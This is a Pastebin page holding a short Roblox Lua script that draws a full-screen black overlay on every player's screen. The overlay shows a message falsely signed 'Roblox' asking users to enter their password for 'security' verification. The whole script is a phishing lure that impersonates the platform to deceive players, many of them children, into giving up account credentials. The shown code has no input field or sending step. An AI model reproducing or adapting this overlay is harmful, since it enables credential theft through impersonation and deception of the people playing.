Advertisement
ttyyuu12345

Full Screen Gui

Aug 1st, 2016
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. CreateGui = function(player)
  2. local gui = Instance.new("ScreenGui",player.PlayerGui)
  3. local frame = Instance.new("Frame",gui)
  4. frame.Size = UDim2.new(1,0,1,100)
  5. frame.Position = UDim2.new(0,0,0,-100)
  6. local contentHolder = Instance.new("Frame",frame)
  7. contentHolder.Size = UDim2.new(1,0,1,-100)
  8. contentHolder.Position = UDim2.new(0,0,0,100)
  9. contentHolder.BackgroundColor = BrickColor.Black()
  10. local messageBox = Instance.new("Frame",contentHolder)
  11. local msizex = 480
  12. local msizey = 240
  13. messageBox.Size = UDim2.new(0,msizex,0,msizey)
  14. messageBox.Position = UDim2.new(0.5,-(msizex/2),0.5,-(msizey/2))
  15. messageBox.BackgroundColor3 = Color3.new(0,0,0)
  16. local title = Instance.new("TextLabel",messageBox)
  17. title.Size = UDim2.new(1,0,0.1,0)
  18. title.TextColor3 = Color3.new(1,1,1)
  19. title.BackgroundTransparency = 1
  20. title.Text = "Please enter password"
  21. title.TextXAlignment = "Left"
  22. title.TextScaled = true
  23. local text = Instance.new("TextLabel",messageBox)
  24. text.Size = UDim2.new(1,0,0.5,0)
  25. text.Position = UDim2.new(0,0,0.1,0)
  26. text.BackgroundTransparency = 1
  27. text.TextColor3 = Color3.new(1,1,1)
  28. text.TextWrapped = true
  29. text.TextXAlignment = "Left"
  30. text.Text = "Dear user: We are currently increasing our security measures by requiring users to randomly require passwords to enter a server. Please enter your password so we can verify the security of this server.\nThank you,\nRoblox"
  31. return gui
  32. end
  33. for i,v in pairs(game:getService("Players"):GetPlayers()) do
  34. CreateGui(v)
  35. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement